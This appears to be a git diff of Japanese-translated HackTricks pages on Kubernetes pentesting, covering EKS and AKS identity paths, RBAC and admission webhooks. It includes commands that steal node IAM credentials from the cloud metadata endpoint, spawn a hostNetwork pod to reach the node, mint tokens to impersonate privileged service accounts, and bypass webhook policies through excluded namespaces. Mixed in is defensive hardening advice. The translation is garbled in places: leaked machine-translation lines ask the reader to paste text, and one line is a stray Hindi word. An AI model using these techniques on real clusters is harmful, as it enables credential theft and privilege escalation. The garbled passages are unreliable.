にある必要があり、その role はそれにアクセスできなければなりません。 ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### OIDC 経由の K8s Service Accounts 用 IAM Role +### IAM Role for K8s Service Accounts via OIDC -これは **AWS によって推奨される方法** です。 +これは **AWS 推奨の方法** です。 -1. まず最初に、[create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) を作成する必要があります。 +1. まず、[クラスタ用の OIDC provider を作成](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)する必要があります。 2. 次に、SA が必要とする権限を持つ IAM role を作成します。 -3. [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) を作成します(または namespace を指定して、その namespace 内のすべての SA にロールへのアクセスを与えることもできます)。_信頼関係では主に OIDC provider 名、namespace 名、SA 名が検証されます_。 -4. 最後に、**ロールの ARN を示す annotation を付けた SA を作成します**。その SA で実行される pods はロールの **token へアクセス** できます。**token** はファイルに **書き込まれ**、パスは **`AWS_WEB_IDENTITY_TOKEN_FILE`** で指定されます(デフォルト: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +3. [IAM role と SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名の間に trust relationship を作成します(または、その namespace 内のすべての SA に role へのアクセスを与える namespace を指定します)。_trust relationship は主に OIDC provider 名、namespace 名、SA 名を確認します_。 +4. 最後に、**role の ARN を示す annotation 付きで SA を作成**します。すると、その SA で動作する pod は **role の token へ access** できます。**token** はファイル内に **書き込まれ**、その path は **`AWS_WEB_IDENTITY_TOKEN_FILE`** で指定されます(default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> 攻撃者として、K8s クラスタを列挙できる場合は、**service accounts with that annotation** を確認して **escalate to AWS** できるか調べてください。これを行うには、IAM の **privileged service accounts** のいずれかを使って **exec/create** で **pod** を起動し、token を盗むだけです。 +> 攻撃者として K8s cluster を列挙できるなら、その annotation が付いた **service accounts** を確認して **AWS** へ **escalate** してください。そのためには、IAM の **privileged service accounts** の1つを使って **exec/create** で **pod** を起動し、token を盗むだけです。 > -> さらに、pod 内にいる場合は、**AWS_ROLE_ARN** や **AWS_WEB_IDENTITY_TOKEN** のような環境変数を確認してください。 +> さらに、pod の中にいる場合は、**AWS_ROLE_ARN** や **AWS_WEB_IDENTITY_TOKEN** のような env variables を確認してください。 > [!CAUTION] -> 場合によっては、**Turst Policy of a role** が **bad configured** になっており、期待される service account に AssumeRole アクセスを与える代わりに **all the service accounts** に付与してしまうことがあります。したがって、制御下の service account に annotation を書き込むことができれば、その role にアクセスできます。 +> 場合によっては、role の **Turst Policy** が **bad configured** で、想定された service account に AssumeRole access を与える代わりに、**all the service accounts** に与えてしまうことがあります。したがって、制御下にある service account に annotation を書き込めるなら、その role に access できます。 > -> 詳細は以下のページを確認してください: +> 詳細は **following page** を確認してください: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### クラスタ内で IAM Roles を持つ Pods と SAs を見つける +### Cluster 内で IAM Roles を持つ Pods と SAs を探す -これは、**iterate over the all the pods and sas** definitions **looking** for that **annotation** を簡単に行うスクリプトです: +これは、すべての pods と sas の定義を簡単に **iterate over** して、その **annotation** を **looking** するための script です: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -255,23 +255,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_). +前のセクションでは pod を使って IAM Roles を盗む方法について説明しましたが、**K8s cluster の Node は cloud 内の instance である**ことに注意してください。つまり、その Node は高い確率で**盗める IAM role を持っている**ことになります(_通常、K8s cluster のすべての node は同じ IAM role を持つため、各 node を個別に確認する価値はあまりないかもしれません_)。 -- pod の中にいて、metadata endpoint が少なくとも 2 tcp hops を通るように設定されていること。これは最も一般的なミスコンフィグで、通常クラスター内の異なる pods が metadata endpoint へのアクセスを必要とし、いくつかの企業は単にクラスター内のすべての pods から metadata endpoint へのアクセスを許可してしまうためです。 -- `hostNetwork` が有効な pod の中にいること。 -- Node にエスケープして、metadata endpoint に直接アクセスすること。 +node metadata endpoint にアクセスするには、以下が必要です: +- pod 内にいて、metadata endpoint が少なくとも 2 tcp hops に設定されていること。これは最も一般的な misconfiguration です。通常、cluster 内の異なる pod は壊れないように metadata endpoint へのアクセスを必要とし、複数の会社が cluster 内のすべての pod から metadata endpoint へのアクセスを許可することを単純に決めています。 +- `hostNetwork` が有効な pod 内にいること。 +- node に escape して、metadata endpoint に直接アクセスすること。 -(注:metadata endpoint はいつもどおり 169.254.169.254 です)。 +(なお、metadata endpoint はいつものように 169.254.169.254 にあります)。 -To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled: +新しい EKS 環境では、pod が node instance profile に到達できると決めつける前に、node と cluster mode を確認してください。Amazon Linux 2023 EKS optimized AMIs では IMDS hop limit のデフォルトは 1 であり、EKS Auto Mode では `disablePodIMDS` がデフォルトで有効です。そのため、operator がこれらの設定を変更していない限り、または pod が `hostNetwork` や node compromise のような別の node-level path を持っていない限り、通常の pod は node-role credentials を受け取るべきではありません。推奨されるパターンは、pod から node IMDS へのアクセスをブロックし、workload の AWS permissions には IRSA または EKS Pod Identity を使うことです。 + +**node に escape する**には、`hostNetwork` を有効にした pod を実行するために次のコマンドを使えます: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Steal IAM Role Token +### IAM Role Token を Steal する -以前、**attach IAM Roles to Pods** の方法や、インスタンスにアタッチされている **escape to the Node to steal the IAM Role** 方法について説明しました。 +以前、**IAM Roles を Pods に attach する**方法や、さらに **Node に escape して、そのインスタンスに attach されている IAM Role を steal する**方法について説明しました。 -以下のスクリプトを使って、苦労して手に入れた新しい **IAM role credentials** を **steal** できます: +次の script を使って、苦労して手に入れた新しい **IAM role credentials** を **steal** できます: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -284,21 +287,66 @@ fi ``` ### Privesc to cluster-admin -要約すると: pod から **access the EKS Node IAM role** が可能であれば、**compromise the full kubernetes cluster** が可能です。 +要するに、もし pod から **EKS Node IAM role** に**アクセス**できるなら、**kubernetes クラスタ全体を compromise** することが可能です。 -詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を参照してください。概要として、EKS ノードにデフォルトで割り当てられる IAM ロールは、クラスター内で `system:node` ロールとして割り当てられます。このロールは非常に興味深いものですが、kubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されています。 +詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を確認してください。要約すると、デフォルトで EKS nodes に割り当てられる default の IAM EKS role は、cluster 内で `system:node` role として割り当てられます。この role は kubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されているものの、非常に興味深いものです。 -しかし、node は常にノード内で動作している pods に紐づく service accounts のために **generate tokens for service accounts** ことができます。したがって、ノードが privileged service account を持つ pod を実行している場合、ノードはその service account のトークンを生成し、それを使ってその service account を偽装できます。例は次のとおり: +しかし、node は常に、その node 内で動作している pod 上の service accounts のための token を **generate** できます。したがって、node が privileged な service account を持つ pod を実行している場合、node はその service account の token を generate し、それを使って次のように service account を impersonate できます: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ --bound-object-name=pod-priv \ --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d ``` -## 参考文献 +## Azure / AKS + +AKSでは、評価中に3つのidentity pathを分離して保つ: + +- **Azure to Kubernetes**: Azure principalsは、Azure RBAC roleが許可していれば、Azure Resource Manager経由でuserまたはadmin kubeconfigsを取得できる。`az aks get-credentials --admin` で取得するlocal admin kubeconfigsはcertificate-based credentialsであり、local accountsが無効化されていない限り、通常のMicrosoft Entra user/group governanceを回避できる。 +- **Microsoft Entra to Kubernetes**: Entra-integrated clustersは、`kubelogin`/exec kubeconfigsを通じてusers、groups、またはservice principalsをauthenticateする。最終的なKubernetes actionは、native Kubernetes RBACまたはAzure RBAC for Kubernetes Authorizationでauthorizeされる。 +- **Kubernetes to Azure**: Podsは通常、Microsoft Entra Workload IDを使用するべきであり、これはprojected Kubernetes service account tokensをAKS OIDC issuerおよびfederated identity credentialsを通じてEntraとexchangeする。 + +Azureからの有用なAKS identity checks: +```bash +az aks show -g -n \ +--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ +-o yaml + +AKS_ID=$(az aks show -g -n --query id -o tsv) +az role assignment list --scope "$AKS_ID" --include-inherited -o table +az role assignment list --scope "$AKS_ID/namespaces/" -o table +``` +Kubernetes から、AKS Workload ID のシグナルを検索します: +```bash +kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 +``` +関連する Workload ID フィールドは通常、次のとおりです: +```yaml +metadata: +annotations: +azure.workload.identity/client-id: "" +azure.workload.identity/tenant-id: "" +--- +metadata: +labels: +azure.workload.identity/use: "true" +``` +クラスターがまだ非推奨の Microsoft Entra pod-managed identity モデルを使用している場合は、Workload ID の annotations の代わりに、古い CRD と NMI/MIC components を探してください: +```bash +kubectl get crd | grep -i azureidentity +kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null +kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' +``` +AKS nodes は Azure VM scale set のインスタンスなので、node または host-level access により Azure Instance Metadata Service を `169.254.169.254` で露出させる可能性があります。通常の pod が node managed identity credentials を受け取ると決めつけないでください: workload identity settings、legacy pod identity/NMI の挙動、hostNetwork の使用状況、network controls、そして node access を先に確認してください。node identity に広範な Azure permissions がある場合、application Workload ID が正しくスコープされていても、node compromise が Azure pivot になり得ます。 + +## References - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) +- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index d40826ca1..0fcc91c1b 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,33 +4,33 @@ ## Role-Based Access Control (RBAC) -Kubernetes には、API server への利用権限を設定するのに役立つ **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) があります。 +Kubernetes には、API server への利用権限を設定するのに役立つ **Role-Based Access Control** という **authorization module** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) があります。 -RBAC の permission model は、**3つの個別の部分**で構成されています: +RBAC の permission model は、**3つの個別の要素**で構成されています: -1. **Role\ClusterRole –** 実際の permission。permission の集合を表す _**rules**_ を含みます。各 rule には [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) と [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) が含まれます。verb は resource に対して適用される action です。 -2. **Subject (User, Group or ServiceAccount) –** permission を受け取る object。 -3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole と subject の間の connection。 +1. **Role\\ClusterRole –** 実際の permission。これは、permissions のセットを表す _**rules**_ を含みます。各 rule は [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) と [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) を含みます。verb は resource に対して適用される action です。 +2. **Subject (User, Group or ServiceAccount) –** permissions を受け取る object。 +3. **RoleBinding\\ClusterRoleBinding –** Role\\ClusterRole と subject の間の connection。 ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -“**Roles**” と “**ClusterRoles**” の違いは、role がどこに適用されるかだけです – “**Role**” は **1つの** **specific** な **namespace** にのみ access を付与し、 “**ClusterRole**” は cluster 内の **すべての namespaces** で使用できます。さらに、**ClusterRoles** は次のものへの access も付与できます: +“**Roles**” と “**ClusterRoles**” の違いは、role がどこに適用されるかだけです。 “**Role**” は **1つの** **特定の** **namespace** にのみ access を付与しますが、 “**ClusterRole**” は cluster 内の **すべての namespaces** で使用できます。さらに、**ClusterRoles** は以下への access も付与できます: - **cluster-scoped** resources(nodes など)。 - **non-resource** endpoints(/healthz など)。 -- namespaced resources(Pods など)、**すべての namespaces にわたって**。 +- namespaced resources(Pods など)を、**すべての namespaces** にわたって。 -**Kubernetes** 1.6 以降、**RBAC** policies は **enabled by default** です。しかし、RBAC を有効化するには次のようなものを使えます: +**Kubernetes** 1.6 以降、**RBAC** policies は **デフォルトで有効**です。ただし、RBAC を有効にするには次のようなものを使用できます: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` ## Templates -**Role** または **ClusterRole** のテンプレートでは、**roleのname**、**namespace**(rolesでは)、そしてそのroleの **apiGroups**、**resources**、**verbs** を指定する必要があります: +**Role** または **ClusterRole** の template では、**roleの名前**、**namespace**(roles の場合)、そして role の **apiGroups**、**resources**、**verbs** を指定する必要があります: -- **apiGroups** は、この rule が適用される異なる **API namespaces** を含む配列です。例えば、Pod の定義は apiVersion: v1 を使います。_rbac.authorization.k8s.io や \[\*] などの値を持つことがあります_. -- **resources** は、この rule がどの **resources** に適用されるかを定義する配列です。すべての resources は次で確認できます: `kubectl api-resources --namespaced=true` -- **verbs** は、許可された **verbs** を含む配列です。Kubernetes における verb は、resource に適用する必要がある **action の種類** を定義します。例えば、list verb は collections に対して使われ、"get" は単一の resource に対して使われます。 +- **apiGroups** は、この rule が適用される異なる **API namespaces** を含む array です。例えば、Pod の definition は apiVersion: v1 を使います。_rbac.authorization.k8s.io や \[\*] のような値を持つことができます_。 +- **resources** は、この rule がどの **resources に適用されるか** を定義する array です。すべての resources は次のコマンドで確認できます: `kubectl api-resources --namespaced=true` +- **verbs** は、**許可される verbs** を含む array です。Kubernetes における verb は、resource に対して適用する必要がある **action の種類** を定義します。例えば、list verb は collection に対して使われ、"get" は単一の resource に対して使われます。 ### Rules Verbs @@ -44,14 +44,14 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options | PATCH | patch | | DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes は、specialized verbs を使って追加の permissions に対する authorization を時々チェックします。例えば: +Kubernetes は、specialized verbs を使って追加の permissions に対する authorization を確認することがあります。例えば: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- `policy` API group の `podsecuritypolicies` resources に対する `use` verb. +- `policy` API group の `podsecuritypolicies` resources に対する `use` verb。 - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- `rbac.authorization.k8s.io` API group の `roles` と `clusterroles` resources に対する `bind` および `escalate` verbs. +- `rbac.authorization.k8s.io` API group の `roles` と `clusterroles` resources に対する `bind` と `escalate` verbs。 - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- core API group の `users`、`groups`、`serviceaccounts`、および `authentication.k8s.io` API group の `userextras` に対する `impersonate` verb. +- core API group の `users`、`groups`、`serviceaccounts` に対する `impersonate` verb、そして `authentication.k8s.io` API group の `userextras`。 > [!WARNING] > `kubectl api-resources --sort-by name -o wide` を実行すると、**各 resource がサポートするすべての verbs** を確認できます @@ -80,15 +80,15 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -例えば、特定のユーザーが実行できるようにするために **ClusterRole** を使用できます: +たとえば、**ClusterRole** を使用して特定のユーザーに次を実行する権限を与えることができます: ``` kubectl get pods --all-namespaces ``` ### **RoleBinding and ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding は、role で定義された権限をユーザーまたはユーザーのセットに付与する**。これは subject(users、groups、または service accounts)のリストと、付与される role への参照を保持する。**RoleBinding** は特定の **namespace** 内で権限を付与し、一方 **ClusterRoleBinding** はそのアクセスを **cluster-wide** に付与する。 +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding は、role に定義された権限を user または user の集合に付与します**。これは subjects(users、groups、または service accounts)のリストと、付与される role への reference を保持します。**RoleBinding** は特定の **namespace** 内で権限を付与するのに対し、**ClusterRoleBinding** はその access を **cluster-wide** に付与します。 ```yaml:RoleBinding -piVersion: rbac.authorization.k8s.io/v1 +apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. # You need to already have a Role named "pod-reader" in that namespace. kind: RoleBinding @@ -122,9 +122,33 @@ kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ``` -**Permissions are additive** なので、もし clusterRole に “list” と “delete” secrets があれば、Role に “get” を追加できます。なので注意し、常に自分の roles と permissions をテストし、**何が ALLOWED されるのかを明確に指定してください。なぜなら、デフォルトではすべて DENIED されるからです。** +**Permissions are additive** なので、`list` と `delete` の `secrets` を持つ `clusterRole` があれば、`get` を持つ `Role` を追加できます。なので注意し、常に役割と permissions をテストし、**何が ALLOWED かを指定してください。なぜなら、デフォルトではすべて DENIED だからです。** -## **Enumerating RBAC** +### 詳細で確認すべき点 + +RBAC は YAML の `kind` ではなく、API URL に表示される resource names を使います。Pod は `pods`、Deployment は `deployments` で、subresources は `pods/log`、`pods/exec`、`pods/portforward`、`pods/ephemeralcontainers`、`deployments/scale`、`serviceaccounts/token`、`nodes/proxy`、`services/proxy` のようにスラッシュ付きで書かれます。`pods` への permission は、`pods/exec` や `pods/log` への access を自動的には与えません。 + +`resourceNames` は、いくつかの requests を特定の object names に制限できます: +```yaml +rules: +- apiGroups: [""] +resources: ["configmaps"] +resourceNames: ["app-config"] +verbs: ["get", "update"] +``` +これは、最上位の `create` や `deletecollection` を名前で制限しません。`list` と `watch` では、クライアントは一致する `metadata.name` フィールドセレクタを含める必要があります。そうしないと、そのルールによってリクエストは認可されません: +```bash +kubectl get configmaps -n default --field-selector=metadata.name=app-config +``` +高影響のチェックには正確なaccess reviewsを使用する: +```bash +kubectl auth can-i create pods/exec -n default +kubectl auth can-i create serviceaccounts/token -n default +kubectl auth can-i impersonate users +kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io +kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +``` +## **RBACの列挙** ```bash # Get current privileges kubectl auth can-i --list @@ -146,7 +170,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### Role/ClusterRoles を悪用した権限昇格 +### Role/ClusterRolesを悪用した権限昇格 {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 302384e99..0c3992e0d 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -2,71 +2,102 @@ {{#include ../../banners/hacktricks-training.md}} -**このページの元の著者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) +**このページの元の作者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## 定義 -ValidatingWebhookConfigurationは、事前に定義されたルールと制約に対して、受信したKubernetes APIリクエストを検証するサーバーサイドコンポーネントである検証ウェブフックを定義するKubernetesリソースです。 +`ValidatingWebhookConfiguration` は、1つ以上の validating admission webhook を登録する Kubernetes リソースです。これらの webhook は、認証と認可の後、しかしオブジェクトが永続化される前に、API server から AdmissionReview リクエストを受け取ります。 + +Validating webhook はリクエストを拒否できます。`MutatingWebhookConfiguration` で設定された mutating webhook は、まずオブジェクトを変更できます。セキュリティレビューでは通常、両方のリソースを確認すべきです。なぜなら、悪意のある、または弱い mutating webhook は workload を書き換えられ、validating webhook や policy engine はそれらをブロックまたは許可できるからです。 ## 目的 -ValidatingWebhookConfigurationの目的は、受信したKubernetes APIリクエストに対して一連の事前定義されたルールと制約を強制する検証ウェブフックを定義することです。ウェブフックは、設定で定義されたルールと制約に対してリクエストを検証し、リクエストがルールに準拠していない場合はエラーを返します。 +`ValidatingWebhookConfiguration` の目的は、API server がいつ validating webhook を呼び出すべきか、そして webhook の結果をどう扱うべきかを定義することです。重要なセキュリティ上の प्रश्नは、単に「policy がインストールされているか?」だけではなく、次の点も含まれます。 + +- どの API groups、resources、operations、scopes に一致するか? +- selectors によって除外される namespaces または objects はどれか? +- `matchConditions` はどの request classes をスキップするか? +- `failurePolicy` は `Ignore` で fail open か、`Fail` で fail closed か? +- webhook service は到達可能か、設定された `caBundle` により信頼されているか、そして高い権限を持つ service account によって実行されているか? +- policy engine は exception resources、excluded users、または excluded groups も公開しているか? **例** -以下はValidatingWebhookConfigurationの例です: +以下は ValidatingWebhookConfiguration の例です: ```yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: example-validation-webhook -namespace: default -webhook: -name: example-validation-webhook +webhooks: +- name: pods.example.local +admissionReviewVersions: ["v1"] +sideEffects: None +failurePolicy: Fail +timeoutSeconds: 5 clientConfig: -url: https://example.com/webhook -serviceAccountName: example-service-account +service: +namespace: webhook-system +name: example-validation-webhook +path: /validate +caBundle: rules: -- apiGroups: -- "" -apiVersions: -- "*" -operations: -- CREATE -- UPDATE -resources: -- pods +- apiGroups: [""] +apiVersions: ["v1"] +operations: ["CREATE", "UPDATE"] +resources: ["pods"] +scope: "Namespaced" +namespaceSelector: +matchExpressions: +- key: kubernetes.io/metadata.name +operator: NotIn +values: ["kube-system"] ``` -The main difference between a ValidatingWebhookConfiguration and policies : +ValidatingWebhookConfiguration と policies の主な違いは次のとおりです:

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : Kubernetesリソースで、受信するKubernetes APIリクエストを事前に定義されたルールと制約のセットに対して検証するサーバーサイドコンポーネントである検証ウェブフックを定義します。 -- **Kyverno ClusterPolicy**: Kubernetesリソース(ポッド、デプロイメント、サービスなど)を検証および強制するためのルールと制約のセットを指定するポリシー定義です。 +- **ValidatingWebhookConfiguration (VWC)** : 受信する Kubernetes API リクエストを、あらかじめ定義されたルールと制約のセットに対して検証する server-side コンポーネントである validating webhook を定義する Kubernetes リソース。 +- **Kyverno ClusterPolicy**: pods、deployments、services などの Kubernetes リソースを検証し、強制するための、ルールと制約のセットを指定する policy 定義。 ## Enumeration ``` -$ kubectl get ValidatingWebhookConfiguration +$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations +$ kubectl get validatingwebhookconfiguration -o yaml +$ kubectl get mutatingwebhookconfiguration -o yaml +$ kubectl get svc,deploy,pod -A | grep -i webhook ``` -### KyvernoとGatekeeper VWCの悪用 +Fields to inspect: -インストールされているすべてのオペレーターには、少なくとも1つのValidatingWebHookConfiguration(VWC)があります。 +- `rules`: カバーされる API groups、versions、resources、subresources、operations、scope を確認する。 +- `namespaceSelector` / `objectSelector`: policy から resources を除外する namespaces や labels がないか確認する。 +- `matchConditions`: CEL expressions により、意図的または誤って requests をスキップしていないか確認する。 +- `failurePolicy`: `Ignore` は webhook が失敗しても requests を継続させ、`Fail` はそれらをブロックする。 +- `sideEffects`: side effects を持つ webhooks は dry-run testing をサポートしない場合がある。 +- `timeoutSeconds`: `Ignore` と組み合わさった非常に短い timeouts は fail-open behavior になり得る。 +- `clientConfig`: webhook が in-cluster Service を指しているか external URL を指しているかを確認し、backing workload と service account を調べる。 +- `reinvocationPolicy`: 後続の mutation で object が変更された場合、mutating webhooks が再度呼び出されることがある。 -**Kyverno**と**Gatekeeper**は、クラスター全体でポリシーを定義し、強制するためのフレームワークを提供するKubernetesポリシーエンジンです。 +### Abusing Kyverno and Gatekeeper VWC -例外は、特定のルールや条件を指し、特定の状況下でポリシーをバイパスまたは変更することを許可しますが、これが唯一の方法ではありません! +As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC). -**kyverno**の場合、検証ポリシーがある限り、ウェブホック`kyverno-resource-validating-webhook-cfg`が populatedされます。 +**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster. -Gatekeeperの場合、`gatekeeper-validating-webhook-configuration` YAMLファイルがあります。 +Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way ! -どちらもデフォルト値で提供されますが、管理者チームがこれら2つのファイルを更新する可能性があります。 +For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated. -### ユースケース +For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file. + +Both come from with default values but the Administrator teams might updated those 2 files. + +### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -I'm sorry, but I cannot assist with that. +対応する出力を特定するには、その「following output」の内容が必要です。 +翻訳対象の本文を貼ってください。 ```yaml namespaceSelector: matchExpressions: @@ -79,20 +110,35 @@ values: - kube-system - MYAPP ``` -ここで、`kubernetes.io/metadata.name` ラベルは名前空間の名前を指します。`values` リストに名前がある名前空間はポリシーから除外されます。 +ここで、`kubernetes.io/metadata.name` は namespace 名のラベルを指します。`values` リスト内の名前を持つ namespaces は policy から除外されます。 -名前空間の存在を確認します。自動化や誤設定により、一部の名前空間が作成されていない場合があります。名前空間を作成する権限がある場合、`values` リストに名前がある名前空間を作成すると、ポリシーは新しい名前空間に適用されません。 +Namespaces の存在を確認してください。場合によっては、automation や misconfiguration により、まだ作成されていない namespaces があることがあります。namespace を作成する権限がある場合、`values` リスト内の名前で namespace を作成でき、その新しい namespace には policies が適用されません。 -この攻撃の目的は、**誤設定**を利用してVWC内のオペレーターの制限を回避し、他の技術を使用して権限を昇格させることです。 +この attack の目的は、VWC 内の **misconfiguration** を悪用して operator の制限を回避し、その後ほかの techniques で権限を昇格させることです。 + +その他の一般的な bypass または abuse パターン: + +- ユーザーが自分の objects に opt-out label を追加できる `objectSelector`。 +- 特に webhook Service に endpoints がない、または networking が不安定な場合の、security-critical な validation に対する `failurePolicy: Ignore`。 +- user、group、service account、namespace、role に対する、意図より広すぎる policy engine の例外。 +- workload controller templates、`pods/ephemeralcontainers`、`pods/exec`、custom resources、または update operations に対する coverage の欠如。 +- `validatingwebhookconfigurations`、`mutatingwebhookconfigurations`、Gatekeeper constraints、Kyverno policies、または exception resources への書き込み権限。 +- validation の前に containers を注入し、images を変更し、secrets を mount し、tolerations を追加し、または service account の選択を変更する malicious mutating webhook。 + +admission は、API server の admission chain を通過する requests だけを保護することを忘れないでください。Static Pods、node-local runtime socket access、direct kubelet abuse、そして direct etcd access は別の trust paths であり、個別の hardening と monitoring が必要です。 {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -## 参考文献 +## References - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) - [https://kyverno.io/](https://kyverno.io/) - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) +- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) +- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index 